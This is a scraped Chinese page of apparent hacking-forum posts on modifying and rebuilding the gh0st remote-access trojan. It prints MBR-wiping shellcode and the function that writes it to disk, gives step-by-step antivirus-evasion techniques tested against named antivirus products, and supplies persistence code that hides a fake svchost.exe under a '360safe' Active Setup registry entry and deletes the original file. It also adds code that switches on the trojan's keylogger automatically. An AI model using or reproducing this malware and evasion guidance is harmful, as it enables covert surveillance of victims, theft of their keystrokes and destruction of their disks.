锁机输入表源码免杀杀怎么做

404 Not Found
404 Not Found404 Not Found
404 Not FoundCOPYRIGHT (C) 2016详解gh0st源码中去验证(去除逻辑炸弹) 去验证: BuildView.cpp // 以下是原程序效验代码 全部注释掉 即可 // char strVer[10]; /* char strTitle[10]; strVer[0] = &C&; strVer[1] = &.&; strVer[2] = &R&; strVer[3] = &u&; strVer[4] = &f&; strVer[5] = &u&; strVer[6] = &s&; strVer[7] = & &; strVer[8] = &S&; strVer[9] = &\0&; strTitle[0] = &G&; strTitle[1] = &h&; strTitle[2] = &0&; strTitle[3] = &s&; strTitle[4] = &t&; strTitle[5] = & &; strTitle[6] = &R&; strTitle[7] = &A&; strTitle[8] = &T&; strTitle[9] = &\0&; CS GetDlgItemText(IDC_STATIC_VER, str); if (str.Find(strVer) == -1) ((CGh0stApp *)AfxGetApp())-&KillMBR(); GetParent()-&GetWindowText(str); if (str.Find(strTitle) == -1) ((CGh0stApp *)AfxGetApp())-&KillMBR(); */ // 以上代码全部注释 即可去除效验 gh0st.cpp 删除以下代码: ///////////////////////////////////////////////////////////////////////////// // CGh0stApp message handlers unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { HANDLE hD DWORD dwBytesWritten, dwBytesR BYTE pMBR[512] = {0}; // 重新构造MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // 写入病毒内容 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } 源码中自己去掉 ============================================== 另外提供一小部分修改的地方,方便制作个人版,不是很全 修改服务信息:BuildView.cpp 修改标题:MainFrm.cpp 搜索 cs.lpszName I am virus! Fuck you :-) !!!版权所有 篡改必毒!!! Please wait - initial screen loading 请稍候,初始屏幕加载...Kyle个人版 ============ Connections 连 接 控 制 Connections User 连接被控远程电脑 Settings 配置服务 Control Settings 配置-服务端-程序 Build 生 成 Build Server 生成--服务端 免杀加工 gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。 先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。 编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。 首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。 sys免杀 sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。 svchost.dll免杀 1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。 2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。 server免杀 卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。 修改生成的dll 在源程序里查找%s\\%sEx 或者\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。 纯粹想交流,大家可以在这里跟贴,一起讨论。 做了这几步..还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表.. 金山杀EXE文件,把入口点改下就过了 麦咖啡还杀DLL文件的ServiceMain.把ServiceMain移动远点就过了 小红伞 NOD还杀输入表....这2个比较麻烦 我测试了9个杀软 金山,瑞星,卡巴,江民,小红伞,NOD,麦咖啡,诺顿,AVG. 还有其他杀软.基本上过了.没测试. 简单补充 添加垃圾代码的小方法: 垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。 可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。 添加输出表的方法: 有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句: extern "C" __declspec(dllexport) bool JustTempFun();//声明 && extern "C" __declspec(dllexport) bool JustTempFun() //实现 {
} 编译后,输出表就被改变了,有的杀软就可做到代码免杀。 把这个代码加到WinMain上面,然后在WinMain里写入 ActiveRun(); 就可以调用了 这样才能成功 转载请注明出自暗组技术论坛 http://forum.darkst.com/,本贴地址:http://forum.darkst.com/viewthread.php?tid=38537 void ActiveRun()//ActiveX自启动的函数 { char WinPath[MAX_PATH]; GetWindowsDirectory(WinPath,sizeof(WinPath)); strcat(WinPath,"\\systom32\\svchost.exe"); HKEY hK RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行 RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey); RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe")); RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath)); RegCloseKey(hKey); } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ActiveRun(); int nRetCode = 0; //Begin=======首次运行,拷贝安装======== char DstFilePath[256]; char SrcFilePath[256]; memset(DstFilePath, 0, 256); memset(SrcFilePath, 0, 256); ::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath)); strcat(DstFilePath,"\\systom32\\"); CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径 strcat(DstFilePath,"svchost.exe"); GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath)); if (_stricmp(SrcFilePath,DstFilePath) != 0) { DeleteFile(DstFilePath); if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0) return -1; SetFileAttrib(DstFilePath);//隐藏文件 WinExec(DstFilePath,SW_HIDE); uninstall();//自删除 ExitProcess(0); } 源码出来这么久了.在网上搜一下,几乎见不到可以用的动画或者教程, 估计大家都想留着技术换钱吧,这里说几种方法、方便大家举一反三 源码的解锁:这里不多说了,改版权之前最好看看, 不然硬盘出事了别找别人(已经有很多例子了) SYS文件的免杀:一样有教程,大体思路是用advanced find and replace替换SYS源码中的RESSDT为其他任意等长度字符串达到免杀效果,自己看看动画就懂的 这里主要说说DLL文件的源码免杀过程(免杀好DLL之后,生成的EXE也没几个特征码了,随便改改就过了) 首先,要了解编译中MAP的利用: 第一步设置VC编译环境生成Map文件。 在 VC 中,点击菜单&Project -& Settings&选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中&Generate mapfile&复选框,并在最下面的 Project Options 里面输入:/mapinflines,表示生成 MAP 文件时,加入行信息。 设置完成。 第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。 第三步打开map文件(用UE或文本编辑器打开都行),形式如下: 用MYCCL定位DLL的瑞星主要特征码为0014bbb(还有4个特征码在源码免杀了这两个之后都过了),定在了DLL的输出表的SERVICEMAIN和RESETSSDT上面. 我们在生成的.MAP文件中找跟这两个地址接近的项,如图: 0014BBB正好是在图中0014BE0之间,对应的是源码里的一个IOCPSERVER.OBJ,这样我们就通过MAP文件把特征码和源码联系起来了,通过修改源码来 达到免杀特征码的目的 打开GH0ST源码,点击CLASSES VIEW&&&&GH0ST CLASSES&&&&&CIOCPSERVER,来到如图位置: COICPSERVER好像是一个跟WINSOCK有关的东西,这里汇编高手可以直接通过修改代码达到免杀,而我则加了一个无意义代码达到相同的效果(水平问题),如图: 这样,这处源码免杀就OK了.不过要想达到到更好的免杀效果,我们还需要手动在输出表里面添加几个空函数,点击FILE VIEW&&&&GHOST FILES&&&&SVCHOST.CPP来到如图位置 看到SERVICEMAIN和RESETSSDT没有,这里,我手动添加了一个新函数,函数名任意,我取了个"FUCKRUIXING".添加完后如图: 这样子空函数还没完全添加进去,我们还需要在后面加入一段说明这个函数的代码,如图: 这样,空函数添加完成了,保存一下.因为金山还杀GH0ST的GH0ST UPDATE字符串,我们利用advanced find and replace替换一下就OK了,道理同SYS的免杀 最后按编译出来丢到虚拟机里测试下,DLL和SYS过了卡巴,瑞星,金山和NOD32(虚拟机里只装了这几个常用的杀软),可以上线,功能没问题 直接编译gh0st控制端源码会提示Cj60的一个库里面函数名找不到 估计是原来的库在VC60下编译 不匹配的问题 找到CJ60文件夹 打开 编译Cj60StaticLib库 1.报错 找不到文件&..\src\afximpl.h& 貌似从VC7开始这个头文件放在\src\mfc下 找到 stdafx.h 改之 #include &..\src\mfc\afximpl.h& 2.error C2440: &static_cast&: 无法从&UINT (__thiscall CCJControlBar::* )(CPoint)&转换为&LRESULT (__thiscall CWnd::* )(CPoint)& 类型定义的问题 把相关参数的函数返回值改成LRESULT 3.error C2440: &static_cast&: 无法从&BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)&转换为&BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)& 宏展开后参数不匹配的问题 把NMPGSCROL改成NMHDR进子程序后强转 LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) 4.error C2664: &MultiByteToWideChar&: 不能将参数 5 从&USHORT *&转换为&LPWSTR& 这个是从某一版本以后 wchar_t开始变成编译器内置类型的问题 几个串类型之间不能默认转换 强转即可 接下来编译控制端gh0st 1.一上来提示找不到stdafx.h 我靠 打开header目录一看 有这个文件 ok 在附加包含目录里面加入&./& 解决了 2.error 2440 和刚才一样的问题 MFC展开宏的问题 进去强转指针即可 3.ok 到这里再编译 能通过了 刚才那一堆link错误 由于我们用vc8重新编译了cj60库也解决了 但是多出来几个link错误 nafxcw.lib(afxmem.obj) : error LNK2005: &void * __cdecl operator new(unsigned int)& (??2@YAPAXI@Z) 已经在 LIBCMT.lib(new.obj) 中定义 看意思大概是操作符在几个库里有重定义的问题 试了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 这种问题需要在附加依赖项里面指定一下链接的先后顺序即可 先链接nafxcw.lib 后链接libcmt.lib 如果编译调试版在库后面加个d 好了 甩个服务端到虚拟机上去 咱们开始调试吧 参考文献: http://topic.csdn.net/t//1966751.html operator new 链接重定义的问题 http://blog.csdn.net/orbit/archive//3405309.aspx 从VC6到VC9移植代码问题总结 gh0st远控服务端直接开启键盘记录 作者:admin 日期: 字体大小: 小 中 大 闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。 在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码: ZeroMemory(m_pTShared-&str, sizeof(m_pTShared-&str)); GetSystemDirectory(m_pTShared-&strRecordFile, sizeof(m_pTShared-&strRecordFile)); lstrcat(m_pTShared-&strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名 // 文件存在,就开始离线记录开启 if (GetFileAttributes(m_pTShared-&strRecordFile) != -1) m_pTShared-&bIsOffline = else m_pTShared-&bIsOffline = 从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。 我们在类构造的时候加上如下代码: char strRecordFile [MAX_PATH]; GetSystemDirectory(strRecordFile, sizeof(strRecordFile)); lstrcat(strRecordFile, "\\keyboard.inf"); if (GetFileAttributes(strRecordFile) == -1) { HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); CloseHandle(hFile); } 在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^
阅读(...) 评论()404 Not Found
404 Not Found}

我要回帖

更多关于 源码免杀辅助 v4.0 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信